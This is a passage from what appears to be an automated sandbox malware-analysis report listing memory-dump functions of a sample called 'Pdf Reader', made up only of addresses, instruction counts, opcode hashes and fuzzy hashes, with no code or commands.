Opcode Fuzzy Hash: 0de95181dfabb1085be80bfe5e8e371d9291dd46e1ad0d9491d042b7a95a4d6b
Instruction Fuzzy Hash: 13414763A0F6D54FD712A7686C760E93B60EF8165D70A82F6C09D8E0A3ED18355EC684

Function 00007FFD9B7D04D8 Relevance: 2.5, Strings: 2, Instructions: 28COMMON

Download Yara Rule

Strings

O_^, xrefs: 00007FFD9B7D0772
<O_^, xrefs: 00007FFD9B7D0801

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: <O_^$O_^
API String ID: 0-2594085055
Opcode ID: 2f53811a138f1a12abb0a29887ea777c308ecd110cd2af5a85f07f1c35cb4b30
Instruction ID: 82ffff1cd87dbdaed179d1c3752a6bd4c07a4c59e98cff70dc521af2b4299c47
Opcode Fuzzy Hash: 2f53811a138f1a12abb0a29887ea777c308ecd110cd2af5a85f07f1c35cb4b30
Instruction Fuzzy Hash: D3E0651BE0E2D65BD311EB6DA4B19D93760EFD225D71D41F3C0948D0A7EC08244A8651

Function 00007FFD9B7D0A26 Relevance: 1.6, Strings: 1, Instructions: 309COMMON

Download Yara Rule

Strings

4O_H, xrefs: 00007FFD9B7D0A40

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: 4O_H
API String ID: 0-1626337838
Opcode ID: 9b288330ed8a151926da2ab625c54557aef1296fd171bcca33a085adcce94017
Instruction ID: 3875c0ba5aa74b367dc1170eb9dedcf6afcf48dd88071d30f89a75e20c2b3190
Opcode Fuzzy Hash: 9b288330ed8a151926da2ab625c54557aef1296fd171bcca33a085adcce94017
Instruction Fuzzy Hash: BDC1196190F7C16FD357D7B80CBA4AABFA08E0B69476C88EEC0C24B0B7C459545AC327

Function 00007FFD9B7D3DDF Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

H, xrefs: 00007FFD9B7D3E55

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID: H
API String ID: 0-2852464175
Opcode ID: 7b3e9c34a84fc21bdd92bd0129c5641072b8d90963dd780b2dda1f37df56b0a2
Instruction ID: ed35d88f9b3da164b1416adb6f89a48636028cdf3df2d33ca01eeb5aa437486c
Opcode Fuzzy Hash: 7b3e9c34a84fc21bdd92bd0129c5641072b8d90963dd780b2dda1f37df56b0a2
Instruction Fuzzy Hash: 7C21F821B1DAC84FE795E7BC4479AA87BD1DF89284B0945FDD049C71EBDC296C4AC301

Function 00007FFD9B7D0955 Relevance: .6, Instructions: 600COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4765132d2a7637bc48156493d98696a794ddabe771824cc6c688dda4be1184dd
Instruction ID: 68ff8d05711fa9bf5e303764d4376c1b998d743691cf8cec94bc0eadb834193e
Opcode Fuzzy Hash: 4765132d2a7637bc48156493d98696a794ddabe771824cc6c688dda4be1184dd
Instruction Fuzzy Hash: 6E22266190E7C56FD357D7B80CBA5AABFA08E0B69071C89EEC0C64B1B7C859545BC322

Function 00007FFD9B7DBE22 Relevance: .5, Instructions: 542COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 041f8601bb408cfabd4a23b6269eea9d0afc07477888c2afc21de8f11036326c
Instruction ID: db522a35da632e234c7cecbfa7f2d2998555cb03bdee16857228505516fd089e
Opcode Fuzzy Hash: 041f8601bb408cfabd4a23b6269eea9d0afc07477888c2afc21de8f11036326c
Instruction Fuzzy Hash: 76026C30A0D78D4FDB55DF78C8616E9BBE0EF99340F0846BDD499CB2A6CA35A846C740

Function 00007FFD9B7D9A90 Relevance: .4, Instructions: 423COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc318bc54ee345b9aa4a95715a2720eb6d87ac4f79005cc10d466cfaf08139aa
Instruction ID: 9b08058798698f330e07b455f5c029a044cb3170828ade3e7c651cbae25c15b3
Opcode Fuzzy Hash: dc318bc54ee345b9aa4a95715a2720eb6d87ac4f79005cc10d466cfaf08139aa
Instruction Fuzzy Hash: D1C13B21B0DE4E0FDBA8DB6C98A89B577D1EFD835074503BAD44DC72AADD14ED468380

Function 00007FFD9B7D8716 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02f457df2ba8599617b56d6ee1a680ff3a697d71aefbb956a6d9e95675e2ca5
Instruction ID: 5c2e0517e483d57010f3df94c3320e5fb7d164d231f86dce0beff8a682e46d69
Opcode Fuzzy Hash: a02f457df2ba8599617b56d6ee1a680ff3a697d71aefbb956a6d9e95675e2ca5
Instruction Fuzzy Hash: 99D1A330A19B4D8FEB68DF28C8557E937D1FF95350F04436AD84DC72A2CA34A9458B82

Function 00007FFD9B7D26FA Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88c6f8c4231b991f7d553bcb7829b48dd1e2d7ed53a9e198e846d8f16c9dddb8
Instruction ID: 493a73621737b365517b8e3e516d2ed1928eff4bf298f8d60f6ea530697bef87
Opcode Fuzzy Hash: 88c6f8c4231b991f7d553bcb7829b48dd1e2d7ed53a9e198e846d8f16c9dddb8
Instruction Fuzzy Hash: B2915761A0E6CD5FDB95ABBC88755E97BA0EF86240B0406FAD089CB1A3CD2865078311

Function 00007FFD9B7DEA21 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86322565262ea1052c3f8bc7b443557c32cdb21663d2b7f9015dd92ef53152c9
Instruction ID: 3722db247dd84b9340e0d76fc2ae209ae24aefc2617544866ccf645ac5ab17e1
Opcode Fuzzy Hash: 86322565262ea1052c3f8bc7b443557c32cdb21663d2b7f9015dd92ef53152c9
Instruction Fuzzy Hash: 3C91D530B0EA899FE766E77884756BD7BE1EF89340B4606F9D48DC71B6CD286846C301

Function 00007FFD9B7D9E65 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ee2e29b666eaa33e804bc990f35fb91b9b71f81dc82420747fb796f336f1cb1
Instruction ID: 0b381cf128515619c2960e2c2dfb066e2d58e8e684b53f7100e99e53aa58978c
Opcode Fuzzy Hash: 9ee2e29b666eaa33e804bc990f35fb91b9b71f81dc82420747fb796f336f1cb1
Instruction Fuzzy Hash: 40713F70B1994C9FDF94EB6CD498EA97BF1EF99301B0541A9E049D72A2DA34EC41CB40

Function 00007FFD9B7DBA1E Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1453da6c57555a0d489dac415e030470208e29cbaa325d29db2fdc1b18e60f4
Instruction ID: 699f3f672d01f34a7ad63588cb7f1fc8fd7bbf380dfa82299c2bafbd7ea8f9c4
Opcode Fuzzy Hash: e1453da6c57555a0d489dac415e030470208e29cbaa325d29db2fdc1b18e60f4
Instruction Fuzzy Hash: 31813B60A0E7CA4FD756D77888655E9BFA0EF8625070847FED099CF2F7C928690AC341

Function 00007FFD9B7DE11C Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a653aad5934c37abf10f4257630d282c975e54193823a3aa93df4ab01000bb1f
Instruction ID: 10df7c2cf1a8db812b5bcad2cb9b5d2ede9783f90b30348beed530a86a1a0452
Opcode Fuzzy Hash: a653aad5934c37abf10f4257630d282c975e54193823a3aa93df4ab01000bb1f
Instruction Fuzzy Hash: 3871F631A0E7C95FEB52D77848765EA7FE0DF8A250B0942FAD089CB1B2C9286546C351

Function 00007FFD9B7D9E80 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a08fa0016239ab68b4294b7d573a3620a8043b68ce41bacdeb08aba07b9c33d
Instruction ID: 9829651d5be44ef363aead19860a97de41fedd0825801f4c75af65e0e8b27a01
Opcode Fuzzy Hash: 6a08fa0016239ab68b4294b7d573a3620a8043b68ce41bacdeb08aba07b9c33d
Instruction Fuzzy Hash: A7711A70B1990C9FDF94EBACD498EAD7BE1EFA9301B0501A9E049D72A5DA74EC41CB40

Function 00007FFD9B7DE7E2 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d89c23dd56e26b80321e532973b7b552f3caf9baf15660c39f7b43c7e392d003
Instruction ID: f3a67370720cfa7d9f6d5db0ed1cdc59c0dfd36fe353583aef703c694a466dae
Opcode Fuzzy Hash: d89c23dd56e26b80321e532973b7b552f3caf9baf15660c39f7b43c7e392d003
Instruction Fuzzy Hash: 8951263160E78A4FE757A7B888625FA7FE1DF86350B0945FED08AC70A7C919A4078352

Function 00007FFD9B7D523C Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2780ec79c1764e0191a22d877eacc9630ca9d8fa58cb6a61b1520d8b66760e2d
Instruction ID: d070fdbe46ca26a75a3efc03fa21eaf05795c7cf459f9561b2614ed14c0ceccd
Opcode Fuzzy Hash: 2780ec79c1764e0191a22d877eacc9630ca9d8fa58cb6a61b1520d8b66760e2d
Instruction Fuzzy Hash: 7B519230908A5C8FDB58DF58D855BE9BBF1FB59310F0082AAD40DD3296DE34A9858F81

Function 00007FFD9B7DE304 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323e48883356c52e45d6a36620f3ae33d2bb04ae52632c50f30036003cd17baa
Instruction ID: 5877c2d0bb3b8850cf601c853f6aedc307c3e4778b104cc099b1f68e87a0f5c9
Opcode Fuzzy Hash: 323e48883356c52e45d6a36620f3ae33d2bb04ae52632c50f30036003cd17baa
Instruction Fuzzy Hash: 89510730B0EA4E4FEB52EBB884755FD7BE0DF85340B5646B9D449C71B6CE28A5068340

Function 00007FFD9B7D29A9 Relevance: .2, Instructions: 177COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81fe65a111e9e5d4c909ca587ab2a7b407a41e9da99a719ccca6688955c1d3b2
Instruction ID: 5e39af4a0a6597fc557a8074545106dc60fd867d9ef3ea00fa0928aef23083fd
Opcode Fuzzy Hash: 81fe65a111e9e5d4c909ca587ab2a7b407a41e9da99a719ccca6688955c1d3b2
Instruction Fuzzy Hash: 8D516571E19A4D4EEBA4DF6888797E8B7A1FFA8300F0502F5944CD32A2DE3429818B41

Function 00007FFD9B7DEC15 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc061ca6b0bdfa50a869b472c71e763efa84a0f0f0ee7fb327cad8c05f423f16
Instruction ID: e958708574917b3478521a2a339758cc2dec8cd68962b43bf4a023b63254d239
Opcode Fuzzy Hash: cc061ca6b0bdfa50a869b472c71e763efa84a0f0f0ee7fb327cad8c05f423f16
Instruction Fuzzy Hash: 2F51A620B0E6895FEB6697B844755BD7BE0EF85380F8647BDD48E871F6CD2868068341

Function 00007FFD9B7DCC7D Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d051942b8ae2001f7507f6a1e39a640786fa4a45b92b94d05137b5cf815c176f
Instruction ID: bb3e8029b0fc7b82cbd138f30703cc25c3b4713f4c718650626dac24960f85de
Opcode Fuzzy Hash: d051942b8ae2001f7507f6a1e39a640786fa4a45b92b94d05137b5cf815c176f
Instruction Fuzzy Hash: F9518F70918B1C8FDB58EF98D845AEDBBF1FB98310F04826AD44DD7256DA34A845CBC2

Function 00007FFD9B7DE529 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b10a26bf5111decae63c53fc8b1768e53300476b5abf7f0e28eeed641f8eee63
Instruction ID: 2bcfa045348b2cf203ffd7339f4be417d74e7ab9122e89ef621c27a0dfb518b1
Opcode Fuzzy Hash: b10a26bf5111decae63c53fc8b1768e53300476b5abf7f0e28eeed641f8eee63
Instruction Fuzzy Hash: 2A51CE30A0E7C95FDB5397B898692EA7FE0DF4B260B0941EFC489CB167C619584AC712

Function 00007FFD9B7DC20F Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b722566027abc29069dbf0698f23852b65b17f974b9cb95a9cc3d5d0873640
Instruction ID: b80198b7bb69df47f1ff23052ec0d09aa4d183a28844159467bc713f7b17a24e
Opcode Fuzzy Hash: e6b722566027abc29069dbf0698f23852b65b17f974b9cb95a9cc3d5d0873640
Instruction Fuzzy Hash: BF41153160DAC90FD755EF7C88665A9BBE0EF85240B1845FED09AC72EBCD25A8038340

Function 00007FFD9B7DBF32 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a74e9ecf32cb5fded149bc2e67897b87a5785e7315bb2ea5f752772666a9aa0
Instruction ID: fe8b5d4f64d7d9094fbb42dbc6902f15a00788902dc0d85b5f496260ad4790a6
Opcode Fuzzy Hash: 8a74e9ecf32cb5fded149bc2e67897b87a5785e7315bb2ea5f752772666a9aa0
Instruction Fuzzy Hash: 7E411A3460978D4FDB55DF7888619EABBE1FF99300F1446B9C49ACB2A6C934A846C780

Function 00007FFD9B7DF461 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8782faff0a811f0b7f0f19cbd49bfbd301fb18652a9edd66e4eea96d3e3396a7
Instruction ID: 9d036821442b86564bdc84b3d2f3060f79d62bf8f4119ee6553cd5cf7dc19bac
Opcode Fuzzy Hash: 8782faff0a811f0b7f0f19cbd49bfbd301fb18652a9edd66e4eea96d3e3396a7
Instruction Fuzzy Hash: 9D413C3160E7C94FD756DB78C8A69E57FE0EF4736030945FED089CB062DA29A806C351

Function 00007FFD9B7D3C09 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0711f581dcc446373161f8ccf85c4bf849189b6883f35bbf8d5dc5036b17238
Instruction ID: 2be324d1063d3db1b91db71d06f34381f90299e6fea3830f481e038430731bae
Opcode Fuzzy Hash: e0711f581dcc446373161f8ccf85c4bf849189b6883f35bbf8d5dc5036b17238
Instruction Fuzzy Hash: A8311720E0E7C91FE755A7B8482AAA97FE0DF85250F4A43FAD098C71F7DD1868068351

Function 00007FFD9B7DED26 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96b7b6dac4b90325dd58bf97ba0672c10cb140ac8afd9d1db99860bfc2638f0a
Instruction ID: ef6b70916f8da5915d99b98aef872ec6600b56e314413162cbe3866478657fe1
Opcode Fuzzy Hash: 96b7b6dac4b90325dd58bf97ba0672c10cb140ac8afd9d1db99860bfc2638f0a
Instruction Fuzzy Hash: 87310320B09A8D8FEB61EBB844756BD77D1EF89240F4246B9D48EC31F6DD28A8068341

Function 00007FFD9B7D08A9 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fc726ebba7e9e532d0a94ed220ca182b1a7f1cba0acdd6816f154187d3d7af1
Instruction ID: 0b1157d42eb42edec3afc9104616139db26aa394becaa08e0852916b29a39865
Opcode Fuzzy Hash: 3fc726ebba7e9e532d0a94ed220ca182b1a7f1cba0acdd6816f154187d3d7af1
Instruction Fuzzy Hash: 43312A52B0FBC90FE756967858751A87F60FF86640B0E43FBD088CB0B7D9186949C391

Function 00007FFD9B7D2899 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2213faff25017951ce2b0526f53aff2c24f8f49d0847dc678bd857751087acb1
Instruction ID: e176a8df5ee8d0faa75e41ce4b9d199d9b38ae4ebbce2b7e1794b17830ba5490
Opcode Fuzzy Hash: 2213faff25017951ce2b0526f53aff2c24f8f49d0847dc678bd857751087acb1
Instruction Fuzzy Hash: 8831862060E7C85FDB81E7B888759EA7FA0EF4A310B4445E9D089DB1A7CA289547C751

Function 00007FFD9B7D3EEA Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b83014376be403d6eceecd71284a8628ae622f4b097add1f08a52b863c4bc76
Instruction ID: 361ba14d4269cb823b4d6d78c258084d0ab4259f37485bc98774808c5875962a
Opcode Fuzzy Hash: 6b83014376be403d6eceecd71284a8628ae622f4b097add1f08a52b863c4bc76
Instruction Fuzzy Hash: F631E771A0E7CD4FE7619BB49C295A97FF0EF86340B0906FED448C71A3DA285546C351

Function 00007FFD9B7DF8D9 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3fd2b39658edc9b1ae54131707d40d874cf367be11eeefa07057d9d48a9cfbe
Instruction ID: 7b29a152977d8a18590307b87345f4751453e2b4a2c2dd5e39104f59419e7587
Opcode Fuzzy Hash: a3fd2b39658edc9b1ae54131707d40d874cf367be11eeefa07057d9d48a9cfbe
Instruction Fuzzy Hash: AF31D530B0A6898FD795E7B884353F97BE1DF8A340B5906F9C04DCB1B6CD2865458742

Function 00007FFD9B7DB833 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ebb0d40147d6b8eaf51411f26f57ca385095898c407d54f60de0973a22a21d
Instruction ID: 7df215e75fb7fe1bfcc0934974b76c907b0cb185c1feced3709364c7576582e3
Opcode Fuzzy Hash: 21ebb0d40147d6b8eaf51411f26f57ca385095898c407d54f60de0973a22a21d
Instruction Fuzzy Hash: 63310E30B0D68D9FD755E7BC88365E97FA0DF4A301B4405FDC0498B1B6C939A482C740

Function 00007FFD9B7D9260 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a508154a95d8305d7116f50a7d847ccf2d019a039c3c3e2c2df12bd879a3ce64
Instruction ID: 7ee6a672fe760c2e9274027fa87f6f355358b40eefafad090278cc20423648b0
Opcode Fuzzy Hash: a508154a95d8305d7116f50a7d847ccf2d019a039c3c3e2c2df12bd879a3ce64
Instruction Fuzzy Hash: EA31B420A0E6895FE755E7B8486A5FD7FE0EF46240B4406BED489C71F3CD2855068341

Function 00007FFD9B7DFA95 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D7000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d7000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368a04ccb2038a254a61a3c56f20d717db2c0211144c638dc993d099b04f85dc
Instruction ID: 9bfefae85930e90ea70ddc925da10cd5ac649e5cdf0c48965cc47d80086ac080
Opcode Fuzzy Hash: 368a04ccb2038a254a61a3c56f20d717db2c0211144c638dc993d099b04f85dc
Instruction Fuzzy Hash: AE21BF2184E3C61FD3429BB48C29AE67FF4DF87250B0A42EBE085CB0A3C95D594AC361

Function 00007FFD9B7D3F2E Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816f7613901cda8d10e1830dc657f7f6fa381dae74495b70bb90da9ede50929b
Instruction ID: 3655457e1bdecb67b3d215c1ba9fcd4d3913b54caa8f85922bb74414caffd45e
Opcode Fuzzy Hash: 816f7613901cda8d10e1830dc657f7f6fa381dae74495b70bb90da9ede50929b
Instruction Fuzzy Hash: 6F21E460A0E7C95FE752D7B888295E97FF0EF46240B0906FFD489DB1B3CA28544AC351

Function 00007FFD9B7D3B1D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ffd9b7d0000_Pdf Reader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0132ddf56f61645f8df422742662e430effde1e57be6bba2eeb1122a01903b53
Instruction ID: 9ced97db3c47598f873f0afbf9e6c501fac71d0d51aa1e8404d9debb4504248c
Opcode Fuzzy Hash: 0132ddf56f61645f8df422742662e430effde1e57be6bba2eeb1122a01903b53
Instruction Fuzzy Hash: E4012B30E09B8D5FD755DBA49868AF97BE0DF85240F0543F7E45DC70A2DA2826158351

Function 00007FFD9B7D3A62 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2124899408.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

